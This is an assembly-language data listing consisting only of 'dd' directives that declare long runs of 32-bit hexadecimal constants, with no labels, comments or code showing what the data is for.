dd 136FDEC3h, 0A340312Bh, 0EF4C026Ch, 5AD101E8h, 212D02DDh
dd 42A37ED0h, 0EDB217D3h
dd 11D40F48h, 0B9726881h, 0E8295816h, 0D04789B1h, 0C094BDB4h
dd 0B72F8BB0h, 0A185D9ABh, 5759A5C3h, 14E2FB08h, 11F20B8h
dd 81A112C6h, 0C8DD88A2h, 5B1F59EEh, 0CF56F030h, 7BE6385h
dd 0D115F2F3h, 42055845h, 3EE5906h, 0B546E91Ah, 0B090774Eh
dd 35915111h, 0CB6CF7B4h, 0F3E92F55h, 3BBFABF8h, 0B454B558h
dd 51D71E90h, 500B3F93h, 80812063h, 39287FF4h, 0EBA558E5h
dd 51648851h, 5D2F97F8h, 0F70851FBh, 0E2531740h, 546880C3h
dd 0B0E834Dh, 0D7E9965Eh, 6DC488A9h, 68853C9Ch, 1D574145h
dd 0CAD3161Ch, 939BBD0Eh, 985C4032h, 9793A54Dh, 505B4DCCh
dd 0AA634A98h, 0E90F7680h, 3AE9AF22h, 292C54F0h, 0ED1D07FDh
dd 806B1242h, 13207589h, 0AFA75D7h, 50289198h, 2B708B8h
dd 0A64FC1h, 0A279F381h, 26D84630h, 0F0F6203h, 72D93544h
dd 44C4338Bh, 927DF198h, 1976CC02h, 60C58927h, 705F57Bh
dd 4D075333h, 90E58045h, 1A61B95Eh, 4C409A9Ah, 24EB9420h
dd 926F45E9h, 3CAFA420h, 6AF00B9Fh, 0B606901Eh, 0F0283C69h
dd 5204744Dh, 0D0DC2BE9h, 3B050DDh, 0CD8F60Fh, 0A73DA466h
dd 0D9A1C3ECh, 715A0236h, 0B25286E1h, 0DA1E42E2h, 0F183D0F6h
dd 7304E8C0h, 2C43000Eh, 0E9C1887Bh, 5995D7CEh, 22958958h
dd 1100065Ah, 255F936Ah, 489866D6h, 35E3B71h, 5ECC088h
dd 2EB582DFh, 81148461h, 7DB9BF18h, 6E216403h, 58B83A20h
dd 0AD030A0Bh, 4748CD4Dh, 784C1A04h, 0FD012C13h, 3A8C1839h
dd 0DD922C12h, 0D6474A19h, 0D48A56Ah, 0F780BF74h, 966817F9h
dd 0C5EFF91Ch, 5CE89265h, 0AED544D2h, 993BF432h, 9652ED4Fh
dd 0D601D791h, 2A9B31h, 0D3FB99Bh, 0BB7669CAh, 4AD42E48h
dd 0DE8925C1h, 0B74D0F30h, 0CA605C92h, 7E82C818h, 545E4CF5h
dd 604B0F16h, 75AFCB0Ch, 0B94F6F5h, 0EF2907A9h, 0C3012A50h
dd 9269805h, 0C03158C7h, 70165A40h, 65CA3B81h, 0C41B018h
dd 0A31F637Bh, 0F2414A1Dh, 530CE221h, 125743Ch, 0C15AF95Eh
dd 0F2390256h, 84BEB896h, 385A7440h, 95A1BF85h, 47D876Ah
dd 36CB1E06h, 0A032F14Bh, 0C5124EA4h, 9DC3BDC1h, 91A13362h
dd 0B2C86FF3h, 0F1EB7D79h, 0AA073F7Ch, 0A672DA31h, 0A231DF33h
dd 0F45747C7h, 59A1D225h, 0A8CB1EC0h, 53427CB9h, 0C9E6F454h
dd 688F0C73h, 0A1B3F717h, 5B32B75Ah, 735853B3h, 9C7514E2h
dd 555A28FEh, 70790AD6h, 2B53BF3h, 51123E53h, 0E956405Dh
dd 0B62D4F52h, 899D7343h, 201973F7h, 8210EEA8h, 0BF0D4D0h
dd 0D425DFB6h, 0EF852668h, 0D7D2FAE5h, 8846528h, 0C182D5B8h
dd 0D79B250Ch, 1758A780h, 0F2EB05B2h, 0BB1C8778h, 97A61F24h
dd 4D5BDD0Ah, 16A0381Ch, 4053515Ah, 227A176Bh, 0EAD05969h
dd 0B292E07h, 0E9C88901h, 6A39B157h, 0D4787102h, 8E572928h
dd 0C5816567h, 0E7B10B10h, 970B93FAh, 0EC6979FAh, 59925CF1h
dd 0F79B525Eh, 57AAE916h, 2D42FC2Eh, 9274F158h, 177BF266h
dd 0DD729052h, 0C1212101h, 2F8F3158h, 44EFF1C8h, 95AA630h
dd 58311724h, 0A0651FE9h, 0F8A5A13Ch, 3C01A064h, 0E97C0AA1h
dd 72134048h, 0A0BC869Bh, 0F17731ECh, 0EE84BB5Ah, 44B403FDh
dd 0BDB8D389h, 0D6D00Ah, 6B3C3E55h, 9526BDE9h, 0AB9682C5h
dd 1CBC5E53h, 171F9FD6h, 9D57B1E9h, 0ED9319F9h, 0C0963D0Eh
dd 69DD0B25h, 0B9060802h, 8095E86Bh, 5EF0216Fh, 146C25E9h
dd 8F1F2AE6h, 90A2047h, 0CA033F21h, 0DA75821Ah, 78A58A2h
dd 9279C505h, 0D41A207h, 522FB151h, 4F15F81Ah, 2C98F6B6h
dd 9BA56CA4h, 0CD71D9B2h, 873A8825h, 3703929Dh, 0EF6929AEh
dd 0E9C1507Ch, 6E76A96Fh, 52545112h, 2444EB7Ch, 9D124F4Dh
dd 0A2F4DB46h, 0A9AD9389h, 25D8F700h, 6C957D53h, 247F0505h
dd 59BBE4D3h, 0EE9A7F0Bh, 0F1AD8A73h, 32E9E3FBh, 0E3AAF755h
dd 59664AE4h, 6052681Fh, 564C5FADh, 0F1F9070h, 3CDCB966h
dd 0A83EAC44h, 635CC1D2h, 0FAE046CAh, 9940975Fh, 3524E943h
dd 95882B25h, 0EFC1018Eh, 42DFF703h, 0B40311ACh, 3D13B99Fh
dd 5029203Eh, 0D60F6851h, 0EE6E4D09h, 7BF6B7CCh, 2E2DD95Ah
dd 2AE9A19Ch, 9DCAC1E0h, 81E89178h, 6FBDF61Eh, 10E6D14Ch
dd 270A3EC6h, 3E3F01A4h, 0CBC8291Fh, 748EFE2Dh, 0FB7E9B47h
dd 5789F8C7h, 0B74764BFh, 4ACC0866h, 28E142D8h, 96E36822h
dd 0BDE34F60h, 53A32646h, 3B8CBBB0h, 0DD6431F4h, 0E9051C6Ch
dd 0DA06F10Fh, 0ABD516E2h, 5D9F6A20h, 4349D4ABh, 1C722052h
dd 7AC0DC40h, 0A8073EDh, 44B450E1h, 0A7732CA1h, 4257389Ah
dd 0E9701047h, 0DD055E2Bh, 4BB32FDh, 347482BBh, 5C5C0282h
dd 0EE880E84h, 62F0ECEBh, 202614B7h, 5F7CE4DBh, 5048F704h
dd 0C6AB0F40h, 0C020E877h, 0B1314FB9h, 0D4666241h, 75BFCCE2h
dd 98F30905h, 1FA8145Dh, 0F70704F1h, 76CFACD6h, 0A9F740E9h
dd 0FC0908B3h, 0E85EF329h, 0F418D6ACh, 59E91316h, 2268F71Ch
dd 56F107EEh, 40576529h, 1670EDBEh, 18BF6900h, 310C3F26h
dd 0B55E73F7h, 0FDC68C85h, 0CE011213h, 38E33F0Bh, 2567B435h
dd 0F545292h, 5581A6Ch, 6E6FBC25h, 91658447h, 0E8BA0514h
dd 9A9F49C0h, 0B5667086h, 0CBBF7667h, 2096A6F6h, 18C1687Bh
dd 25D9FB97h, 68850E6Fh, 31EA11F1h, 14B93944h, 0F70C81ABh
dd 90CBE4F9h, 5FFB8917h, 32BCFED0h, 0E96A0B91h, 0E973A226h
dd 5378ACBDh, 0E1285C85h, 0C11E03AAh, 599230C8h, 0C4BEB057h
dd 1D93BD21h, 72D223C1h, 3C10094h, 29FEBF8Fh, 412DB8CFh
dd 0FDB701F3h, 0E1B60705h, 0F10126C7h, 783A02BCh, 22F1352Dh
dd 808D34Bh, 5E12BFE1h, 534C0BFEh, 33E2AB89h, 4919B7Fh
dd 0FED0050Ch, 49A482A7h, 0BE255A05h, 6750DBE4h, 0B0D59A53h
dd 0D2E9262Fh, 0D425819Eh, 0BB0CC5F0h, 5B829638h, 98FCAD7h
dd 0DE3F2968h, 0E5DEC9D6h, 5B6E5452h, 22F58C15h, 0CC91D236h
dd 1E9335FEh, 610F0FBFh, 1970FA74h, 0C5D0C4Fh, 327AC45Fh
dd 70A61298h, 0EAE9FB13h, 0F603DEE9h, 42335F56h, 0B8B8C4ECh
dd 0BC00A5F7h, 708A3525h, 0E1384BE9h, 5A869D3h, 4631C35Dh
dd 135FD4A8h, 8C58E0A1h, 0F365B260h, 4B2FEE64h, 0E6350434h
dd 94B2ACEFh, 35D8589Fh, 0E6BC149Ah, 0CE151B2h, 0F8562AB6h
dd 4617ABACh, 2BC2E4Dh, 0CD0585BAh, 95CE5809h, 28E91142h
dd 6A026A2Dh, 0D5378F68h, 2A1C6599h, 7766CCh, 250B9D2Fh
dd 79DC47DBh, 0FBA5202h, 0F707911Fh, 44F0BF8Bh, 2094FAE6h
dd 66BC958h, 85E9416Ch, 0E2175A3h, 4F90BE75h, 6E05022Dh
dd 8455DA37h, 1C80CA2Ah, 261F2206h, 9688146h, 0E4F8172Dh
dd 930A30Dh, 0A4DC1A36h, 0D13A5C54h, 134A2610h, 0B400315Fh
dd 0AD1FCBEAh, 0B60CC249h, 0FD8B2D58h, 82071DEh, 0F0685013h
dd 7E16A0F9h, 2846D2B9h, 0A940A353h, 0D636A530h, 7D31F7B2h
dd 0ECA2AF5Fh, 8F2F6158h, 0A5D60928h, 0ADC5540Bh, 0E93BE8A7h
dd 0EA8A483Dh, 0D739BB92h, 40297561h, 62D23810h, 0ABAD76Eh
dd 6686EF70h, 369818C0h, 399C0700h, 6241F581h, 1E765E6Bh
dd 0FCED40BDh, 89F76544h, 0D788EA64h, 6AF45E1Dh, 3F130AE5h
dd 1C85CAFh, 0BE7C64EBh, 0ED0C806Eh, 0F74A9F7Ah, 98690D3h
dd 6C709CF5h, 313682D5h, 0CBF082C1h, 0BCE55559h, 760D0992h
dd 0CC92B3BDh, 0E5D1B416h, 773B5AFCh, 34CD031Bh, 3B06F91Fh
dd 0FD04F0C2h, 0D558E917h, 9363F222h, 0FA40DE04h, 184331BAh
dd 77CE6BFDh, 5C93ED23h
dd 0F2A1EDACh, 0A8352B5Eh, 65E09C00h, 0BF054126h, 2C231B91h
dd 0F8F94A11h, 26A685D8h, 0F7F0E9B7h, 0D301ED85h, 97CD85Ah
dd 3295209Ch, 0ECC44AC2h, 0E9243CFBh, 912295Fh, 0D9B771BFh
dd 3D343B19h, 0FE298AAh, 0D1021EBEh, 0CC8068E2h, 1BB26D4h
dd 0E1146451h, 0E4DF324Dh, 4E2C6C8h, 294F7A67h, 0D0C4BC4Ch
dd 7459260Ch, 88090910h, 10755BF9h, 3B537D30h, 0EF0FF1B7h
dd 8F3204Bh, 6804D1A3h, 2DD85AC3h, 1AD660EAh, 12373225h
dd 504B0E7Ah, 4CBD6917h, 388886B7h, 97DD283Bh, 0E429F7Fh
dd 0A577CB68h, 1CECA7E8h, 18BECD5Bh, 0A69FD3BEh, 974F5CD4h
dd 86F002D0h, 0F6679C2h, 63E990BBh, 4EE9126h, 0F0255562h
dd 136948CBh, 87AFC19h, 5E18DA33h, 3E0A87C2h, 0FA1662DEh
dd 0ED4F9DA4h, 0B6093F74h, 0C7EBD05Bh, 8A94680Fh, 81B765EAh
dd 8517A8FEh, 725E686Bh, 0CDC01052h, 4B2F4CF4h, 40BE8D32h
dd 6A15177Dh, 0F1814F01h, 7D4559E3h, 85F0EAA5h, 0C35BD396h
dd 29DC1784h, 7EC62C89h, 3CADEC53h, 84FBA556h, 0C0ED2D6Fh
dd 4BE55F28h, 8066240Fh, 0C52B2FE0h, 0F08A114Bh, 675B0D02h
dd 227F4BDDh, 191DAF4h, 0CCE2C480h, 0E3E0E4ECh, 0B35AE69Fh
dd 2715AC5Bh, 0EB800AB0h, 0C34DA670h, 0B1B2CCB1h, 0F6875A5Bh
dd 3FF843F7h, 1806F51h, 2CF02879h, 5AEE91D3h, 1D6406F9h
dd 12422568h, 0BA8F12F1h, 33CBE7DDh, 0F2EC2B9Bh, 507B0987h
dd 30096974h, 0CF7542E2h, 8E712514h, 20653A7h, 55AF768Ah
dd 4014EA57h, 0B7BB2E8h, 0DF8902ADh, 0D1621ED9h, 42997592h
dd 5284740Ah, 0FE02A8E8h, 0A0F280C2h, 506A6020h, 27E9F4B4h
dd 0F91A2835h, 2D15B67Fh, 0E8E202E9h, 58507D5Eh, 0C8CFB159h
dd 2038A614h, 0AF099FBAh, 980C3CD7h, 0B905E59Dh, 867B10F6h
dd 0AB1A5D2Ch, 91973F0Ch, 8085EC37h, 7A62FDEBh, 97CB013h
dd 3385493Ah, 56968880h, 82B7F7B4h, 0F9BADA15h, 9FBB017Eh
dd 8229CA4Fh, 1A0D4B36h, 71970027h, 0A5B047D5h, 109843F8h
dd 36E6EF78h, 4B9DD7F4h, 1A3812B2h, 894A8160h, 0EACB60DEh
dd 465CED02h, 7456E911h, 517B2F13h, 5E860D0Bh, 111451F4h
dd 0D0585FEh, 0ADB3D94Bh, 931D5AE4h, 5C8B207Fh, 76244614h
dd 77410055h, 0E28102B7h, 0B178F70Ch, 0B31923Fh, 298C2A11h
dd 0FF545E09h, 20467A27h, 595EA926h, 847A088Dh, 12E9CAB5h
dd 30B30B68h, 6714484Ch, 68C5ABE6h, 8205D4A9h, 0BB009390h
dd 0B7E36B7h, 5BDA317Fh, 90A56204h, 326A9DB7h, 247D895h
dd 151001EEh, 9D88952h, 32C27A4Bh, 97425558h, 5F3B8577h
dd 0D729A047h, 0B23A88FDh, 0A4AECAF2h, 927879ADh, 2A810BDEh
dd 0B1F0E5E4h, 7EE3E74Dh, 0A762E5FEh, 514C979Bh, 5B2589D4h
dd 0FB279365h, 436492F1h, 92C380B0h, 289CAAC1h, 5259449h
dd 76A68EBh, 409284A0h, 78000437h, 0B353F828h, 4CE380C4h
dd 620C76C7h, 680ACBFEh, 22DE92Dh, 81535D94h, 0B73CE8FEh
dd 909E80CAh, 0B044CB65h, 57F70952h, 0AF5F3753h, 122212Eh
dd 2A8578ADh, 87F16DA6h, 0F31FC507h, 0F4CE1840h, 5968E6AFh
dd 0C99F4978h, 0B05CA42Ch, 55177F62h, 9027ADE6h, 329FAEFh
dd 21C10B67h, 80054E5Eh, 0E16DF8ACh, 9448E3E8h, 0AA10F44Ch
dd 4E158D9h, 221F2199h, 0D0ABF8C7h, 1E4858E7h, 7CF5984h
dd 0B7277B7h, 823E74C2h, 32A5290h, 437A3F78h, 245ECB04h
dd 0D0BA5838h, 9895F30Eh, 313BC914h, 79D132BBh, 5AFDDA66h
dd 0BF96C09Fh, 1E3067FAh, 3E545CB7h, 13664FA7h, 8A50E82Dh
dd 71250DEFh, 36E16F27h, 21502720h, 31875128h, 0ED0F30DDh
dd 0ACFD9202h, 5DEE21D5h, 0EF985894h, 6083EC1Ch, 0C927036Dh
dd 0C6590245h, 27EA21C5h, 0E299026Ch, 960A8809h, 242E84ADh
dd 2EAAF020h, 0D9F70D27h, 96226004h, 7D772813h, 4EDA4DF0h
dd 539C6288h, 7F551741h, 7EA3FD16h, 0E8AFE985h, 0F75E3FF4h
dd 24C5EDB7h, 0C5710BF8h, 94FF956h, 7C3F7860h, 9718FE88h
dd 0EB25F5D2h, 6B618F5Dh, 0B0B47832h, 58DCBE87h, 0FD5ABAE9h
dd 0D4180DD1h, 5B35326Eh, 89BC15FDh, 3A58A6E9h, 834C39EAh
dd 0AF0FC2DFh, 2C4FC9C8h, 203C1BA0h, 0B83F9243h, 218B004Eh
dd 0BE05D8F7h, 47DE004Ah, 66087F0Dh, 174AE967h, 835F3B02h
dd 14ABFFC2h, 0B8DDF04h, 89240431h, 14CFD9F0h, 0E5FD39F8h
dd 7E9FE701h, 415159DAh, 2B422AC8h, 29D6254Bh, 1EE0B8FFh
dd 0EC8BBA43h, 0C868B7E6h, 353F85BEh, 0BAE1DE05h, 13CD0DAAh
dd 5F31DFE9h, 2CE28461h, 8316AFA8h, 8A026B28h, 0B243715Ch
dd 0E9D08056h, 81D5A87Ch, 17FE94F2h, 19F4020h, 0A2B8E9FDh
dd 0F083F69Ch, 0EAD8D483h, 643C54D1h, 0C104AE31h, 541336B0h
dd 395AB80Ah, 92466286h, 3A16C608h, 42825496h, 147068AAh
dd 0F4C34C5Dh, 98734AA2h, 634850C2h, 55F50643h, 0EF8848E2h
dd 8532276Ah, 0F6B94358h, 8CAC0D5h, 0AD68C482h, 3C180500h
dd 29112478h, 4BD917BBh, 1DEC5B05h, 0AC98F85Ah, 0A80F4BD9h
dd 0A849DEFFh, 0A73051ECh, 47085573h, 0FD82744h, 1DC8E05Eh
dd 0E63EE168h, 5451174Ch, 683C36E3h, 68F133AFh, 0C0786E82h
dd 7D4D427Dh, 13691106h, 0E90B879Dh, 5D71085h, 2F260405h
dd 4564BF55h, 56D29895h, 49E92F54h, 50EDC3E8h, 1C640B16h
dd 0A2C53AA0h, 88717608h, 712FD7F3h, 1F54EBE2h, 57816642h
dd 0A7843DCEh, 4802C4Ah, 9DE1F65Ch, 6882EDAEh, 9E552E62h
dd 533D6334h, 0EEB9F729h, 2BD73ABBh, 2698DEE3h, 895880Eh
dd 0FE349D8Ch, 7614D0BAh, 5140F830h, 0B23838BCh, 0F6D98992h
dd 35C6055Ah, 13BA7F03h, 880102Ah, 0F448D14Ch, 8C62985h
dd 0D025FCECh, 0F6DA9262h, 8D0618DCh, 2F7C0C7Fh, 0E6184826h
dd 0CEA5023Ah, 41CD01F8h, 412A1648h, 22185199h, 0C70B6F27h
dd 27F25E08h, 1109081Ah, 0F88BE604h, 227D6CCh, 0C916D9C4h
dd 0C9856369h, 0BED7F150h, 0FFCC9C4Bh, 41860C44h, 5BC93F80h
dd 0A9AE0EE8h, 15DCE8BAh, 512D80FDh, 441F0B00h, 9D4BF905h
dd 0A2A19039h, 86D92092h, 0D2C2FED5h, 3827E808h, 25394C58h
dd 0AC5B6076h, 0FCD84E30h, 8396DF49h, 0C555894Eh, 0D2F8F62Bh
dd 0F1B3969Fh, 949BAD89h, 0BDE7E65Bh, 70A120BEh, 826B6902h
dd 0C4A9A7E9h, 30017881h, 0E1433798h, 1B1F338Eh, 77174936h
dd 765E10C2h, 0FE856FFAh, 92C55DC3h, 68E44220h, 4FAF15CCh
dd 252D2B01h, 2F457017h, 9CC30180h, 8F6650D7h, 7FBF86A0h
dd 0D4A11AB5h, 5450848Ah, 0C47DBC58h, 660BA3FDh, 0A0609244h
dd 5592BA3Fh, 22714C3Eh, 0EFE5200h, 5AD00963h, 53AEDBAh
dd 7BD60580h, 6D045E9h, 793092B3h, 5525FDCh, 0B8478FD7h
dd 0B33527A9h, 12462568h, 0C3623954h, 2EFF6C13h, 0AD06DF7Eh
dd 3F9EF4D0h, 828E82D2h, 2056D87Eh, 5407B1E3h, 5153565Bh
dd 0C2C8EDA4h, 43A3A68h, 416C3350h, 308D0DE2h, 2F18D9B0h
dd 0E15A74BCh, 1D62D58h, 4D0B0DD8h, 0FA1DBEE9h, 0F9AD272Ah
dd 2160BD92h, 18954218h, 80A09A76h, 8FEEB09h, 0B9125F96h
dd 95496031h, 920B459Ch, 580D981Ch, 0C741DB90h, 48DCA1E9h
dd 133FB129h, 0F1B9215Fh, 0F6E5A9DAh, 0FC4C312h, 30C687AAh
dd 529D04D8h, 809BB60Ah, 380CDECEh, 41A2870Dh, 3E01617Eh
dd 66AF7212h, 0E92440FEh, 0B9801107h, 0B4B5F5Eh, 4FC84801h
dd 810E902Ch, 0F41968C5h, 6CA4EDEFh, 26643FCCh, 7F127F32h
dd 68DE78FFh, 933BCD31h
dd 2F82CFF1h, 0D6F759CEh, 0C0DACB55h, 4F2370ACh, 544BC29h
dd 6D7778B9h, 3C7605EFh, 0E0A9B52Fh, 650B7F59h, 25BDA89h
dd 709DE983h, 0EEC0066Ch, 4DEF608h, 380E8981h, 6A137C54h
dd 0BCC3F488h, 19CCF0B6h, 9FB37953h, 0BE187859h, 0ECC05C06h
dd 7ECF208h, 58E78877h, 0DDE93128h, 0DEC13901h, 7ECD42C9h
dd 5259711Ah, 0ACF355D5h, 0E9023364h, 0CCA017FCh, 805966ECh
dd 28FBEB38h, 0A16F1E3h, 5EC588E9h, 0F5A904FBh, 7314BF66h
dd 0C4C531DEh, 129001EDh, 2C370E02h, 7264E43h, 24904E8h
dd 0ECB2AC9Eh, 3D681860h, 0D05CCD39h, 1A31CBDh, 0D44638B9h
dd 2DCF310Fh, 0B5511672h, 0D64044B3h, 943AB5E6h, 15A71855h
dd 0FA40B4AFh, 0F08924DFh, 80145C8Eh, 0B87384C3h, 111A9F10h
dd 0E93AEE01h, 5A9D2465h, 0BCC18007h, 0B8B5CE88h, 2F58EEB9h
dd 4A680861h, 1B1E3341h, 299D7D09h, 0AFD7BF86h, 5B3F93C8h
dd 0D0B51A5Fh, 0A12AA31h, 58E2C044h, 52F0905Fh, 0F89283D7h
dd 0AB242941h, 55BD800h, 59C11409h, 0EF249C76h, 0EA3180B0h
dd 22C06855h, 5D709118h, 5F54E912h, 4B90E3D6h, 0ABE478B8h
dd 0BA481668h, 0BE660C9Eh, 0F1FC22E1h, 567E41BDh, 0B3E116A5h
dd 0BCBE4729h, 1C4E3415h, 0DB12D495h, 0EA18A16h, 0D3D4E32Eh
dd 21B52CEEh, 9398D35Fh, 0FDB040Bh, 42A0585h, 92AA1768h
dd 2D489D23h, 69B7FC88h, 9435104Eh, 9276F33Fh, 0E98408B6h
dd 5885E01Dh, 66FD8813h, 0FB02CB33h, 49BFACF5h, 0D9B25B2Bh
dd 0F1259882h, 0EA0537FAh, 309F3D87h, 0C957AEC0h, 1F42C3Bh
dd 4B0D03A4h, 0E9D9DE53h, 0C40397Dh, 84843DC6h, 31804E6Bh
dd 4CDFE52h, 7DD57BA8h, 84DDEC4Bh, 9CEC7BC0h, 509F29Eh
dd 9E019876h, 33F3E96Eh, 2939713Eh, 0BA99414Fh, 5440A7A5h
dd 0BE805283h, 2B7F9E77h, 91A8214Ah, 1695ADB4h, 8FC9FC05h
dd 0AF8E883Bh, 0F353E40h, 0A8F66822h, 0D5DCC946h, 0C35AD872h
dd 0D235CED1h, 0A528A804h, 0ED89683h, 624CBD1Ch, 9CD86D0Bh
dd 3C2D7C0Bh, 0CB4FF4C1h, 3046C4C0h, 29737D17h, 0AB2CC482h
dd 19F740Ah, 5EB57869h, 581C6F21h, 4DD508C0h, 5514E90Eh
dd 5EE06996h, 59A950Ah, 57805A51h, 0D8666DBFh, 23E92567h
dd 0C35C83E0h, 0B4408390h, 43045001h, 801D1710h, 1236AC06h
dd 0F3A22B74h, 8A82E90Bh, 0D0C1E79Bh, 7B14247Ah, 92EB8F13h
dd 18D35F08h, 31086CBFh, 0C0D3D09Dh, 0E20ACD6h, 87184528h
dd 810647FDh, 2F5F39E5h, 36F4702Bh, 0CD05FA8Eh, 3F3704F1h
dd 6FC5AC1Dh, 89010E6Eh, 0C684F09h, 572E0C82h, 48D64398h
dd 3CEF310Ch, 97509C7h, 8502BF2Fh, 560BD679h, 90320B09h
dd 0FBB8FE18h, 4E9D6501h, 0DB354840h, 0B74D10CCh, 115FF742h
dd 1E18326h, 643AB40h, 297B1739h, 0E09A08FAh, 0ADD93B3Fh
dd 6C985441h, 5A5B5440h, 940C84A7h, 0C9CCB246h, 753E350Bh
dd 8D95C0Ah, 3005CFF9h, 2DF859E8h, 6AF602A2h, 0E999C8C9h
dd 3EA89C8Eh, 4B2CE50Fh, 0B2C0E02Bh, 99F611BBh, 7783694Eh
dd 0EAA5F15Eh, 0D64868ADh, 2D283419h, 0ED509E77h, 0CA955B07h
dd 0F3B161B8h, 58800A3Ch, 0E8753035h, 7DE6465Fh, 5FDB5D13h
dd 3EA5BB4Ah, 967D7B89h, 0D9785F3Fh, 0A52D2F8Eh, 2AD7296Ah
dd 0E909738Fh, 3AAB7986h, 16978256h, 126DE15Eh, 3A10B08h
dd 925A2C6Eh, 759E6241h, 0CA2E4093h, 0C3025C51h, 0C18AC680h
dd 0CE2B983Eh, 4A6D5895h, 0CBE45E53h, 4EA8F656h, 0DD90A521h
dd 0B55D6C04h, 0E9A270FFh, 519F0E6Ch, 186569B2h, 0AFBF7F2Ch
dd 0D249425h, 0CE11E958h, 0A4807E96h, 7CB63553h, 0F056256Fh
dd 3FA216D1h, 0F7A2D9F2h, 0C592C155h, 0E89B122Eh, 0E5D12820h
dd 59D2B725h, 2255C9C0h, 0E0662B7Ch, 20E92F65h, 0BBEA8C76h
dd 0E74D7863h, 0A02AEA07h, 4CE280CAh, 52C212FEh, 14B258F6h
dd 0B1015131h, 0E9CA28A2h, 626283F7h, 6208F20Eh, 31037568h
dd 0E0690F7Ch, 306853CAh, 8D25487h, 567CE751h, 485CE300h
dd 0B5E94AFDh, 9977DD22h, 74870637h, 0E89FCCAFh, 1326EB8Ah
dd 123BE754h, 2F34F198h, 0FF8D762h, 98E21910h, 8F20509Bh
dd 400D80A6h, 78196707h, 27C3D8F7h, 0E03D5B31h, 0BFA3506h
dd 2E2F4E7Dh, 8C72107h, 0F12FE804h, 46EEE1ECh, 52951C08h
dd 62749986h, 8BEA72E9h, 17DA1E57h, 29B180E9h, 7C706FE8h
dd 97DE38E9h, 5C92D6CDh, 5B02BE08h, 4CFD04EDh, 0E3580E51h
dd 9FFEC1CCh, 0E4E3C427h, 7E063E35h, 0A09F5FF8h, 0B19050B0h
dd 0CB08D09h, 5A327F28h, 3A1F3661h, 0AA115CF6h, 0AC407446h
dd 1BEE522Ch, 1CD84870h, 125EFC4Fh, 8F8848D3h, 35A9647Dh
dd 6B524F34h, 4B5D7A5Fh, 4DABEDEFh, 815031Dh, 0EE011D14h
dd 8831Eh, 7B2CD81Ch, 8DEEE975h, 57A89AABh, 6D14524Eh
dd 40A2CE01h, 68175908h, 67BC6B7Eh, 8F71B9A5h, 24A7EBE9h
dd 0C083D3B0h, 0EA5D029Eh, 5E5D69DAh, 2F3980D5h, 4B7330E4h
dd 1250E809h, 8AD8A03Ah, 8C744E41h, 0AC9CF8A4h, 80A3B601h
dd 0CECCE4EEh, 706F98F2h, 0BCF348C8h, 66F7C302h, 0C07F5859h
dd 4AC7E9EEh, 0C2E4AD9Bh, 5E5EF529h, 68D6CC42h, 590B5725h
dd 0F047926Fh, 6E48BF7Eh, 24439DEh, 7C16F0F7h, 83C07F19h
dd 5939BA52h, 683B0B13h, 79A7C6E1h, 4DB80B56h, 67C2A42h
dd 0EC026524h, 4140710Ah, 2B6DA0DFh, 547D8092h, 78B5A443h
dd 97DE841h, 0EFE942D6h, 18D5B4C2h, 9DF5F36Ch, 273D985Bh
dd 0B2B9601Dh, 9A1FEEC2h, 6DC2B53Eh, 20284FDBh, 312481B2h
dd 0F913B4D5h, 68C1C9A8h, 0DF7B19DAh, 48A5BF1h, 5E1014ADh
dd 0DE9D5CAFh, 32E03BD3h, 520D0768h, 5E586CCAh, 42D01D42h
dd 0BBB6C269h, 68E18425h, 25B2370Fh, 74D0A740h, 0E9331C6Ch
dd 9BF6030h, 278E8614h, 29595B10h, 0AAC82A3Dh, 0FCBE31E9h
dd 2F59CBF5h, 256808E0h, 61C67211h, 0B3137001h, 0DAF75A10h
dd 3CC130h, 0C1713216h, 7C6808E2h, 0E9315954h, 2212934Bh
dd 2FB53DAAh, 0E90C7B8Ah, 8034759Eh, 0D743C126h, 4CF35432h
dd 8D57A9FCh, 18A13CA6h, 685832CCh, 983ECB27h, 173EC03h
dd 0E9814C59h, 206B5EFBh, 0CC0BC1E9h, 5D12675Ch, 4C652689h
dd 3E83BE01h, 0F520474Bh, 453C1365h, 4CE1057Eh, 0F9964DB7h
dd 0A64FC856h, 0BA4E00B8h, 0B30A93E9h, 3BA330A3h, 83C3881Ch
dd 0A5ACE9DEh, 2BCEDB16h, 0E69D2005h, 0D23175AEh, 62D894BEh
dd 65083500h, 9A257D14h, 403CC04Fh, 0BFFFD2Dh, 0E1A847FDh
dd 2B531F68h, 804D0F5h, 92FF0BAEh, 0FABA6D60h, 7AAA7F4Ch
dd 258DD859h, 7F76135Eh, 0B1EF492Ch, 0C0761469h, 0A8F6CF3Fh
dd 0F1FD5A7Eh, 2C72B4Ah, 0FA86B650h, 0EA01257Ah, 8E204AC5h
dd 0FC162F27h, 21FFC447h, 313A74A5h, 41115868h, 2E37020Eh
dd 80DC0A22h, 0E2050AD0h, 0B84EEE34h, 72D515Eh, 0DB7AD661h
dd 0EAB67173h, 6B15B6B0h, 8B3D3FBBh, 0E90B7C4Fh, 0BC0F7424h
dd 504FB360h, 887716B0h, 0EE8109C6h, 9F7EA502h, 48B3320Bh
dd 49746825h, 28A4E59h, 0E3EF0034h, 17E077Fh, 0E955CF0Bh
dd 0D3E12065h, 5EED68E0h, 3D9ACD67h, 0EA2D2D50h, 360BC1F5h
dd 7AC17674h, 0C4E14FFCh, 8A06FEC0h, 66D31B7h, 303D9DF1h
dd 0F9900C75h, 1234E33Ah, 21F424AAh, 204207F0h, 0D4C8091Eh
dd 811CE08Dh, 3E13E704h, 3CC031EEh, 0B946BD8h, 1856E928h
dd 7F695D74h, 7E001EABh, 7D6959C0h, 3C92E1BDh, 0ED2948F0h
dd 1CD01116h, 685D0C14h
dd 5AE98D84h, 531E1F6h, 0B4D9FCEDh, 0F28055FCh, 6CB04AF4h
dd 7F40B698h, 34AA19BDh, 2EB7A485h, 0DC9DE81Dh, 50597AD9h
dd 705FFE26h, 0CE1CE94Ah, 83D36C95h, 1B4CF090h, 0B0297F2Fh
dd 1A0660DCh, 504A2540h, 0A71FE83Dh, 0F1BE6895h, 5F4E0B71h
dd 92752994h, 0F98BF52Ch, 0D127F67Eh, 6718EB1Dh, 0F4827313h
dd 0A75F5292h, 3E635B98h, 0F77539AFh, 13876E0Fh, 88BC4E64h
dd 6A18334Ah, 1A442E67h, 7F6E060Ch, 1243DBF7h, 58B8800Bh
dd 0DE4180B6h, 1719D855h, 7178B2E9h, 2C2FF337h, 611DC44Ah
dd 583A3CBBh, 7685728h, 0A86B92A0h, 4AE6C080h, 5FB48703h
dd 2415B486h, 0C3315C12h, 0F4FDDFD7h, 0CDE9078Bh, 8FB8EA20h
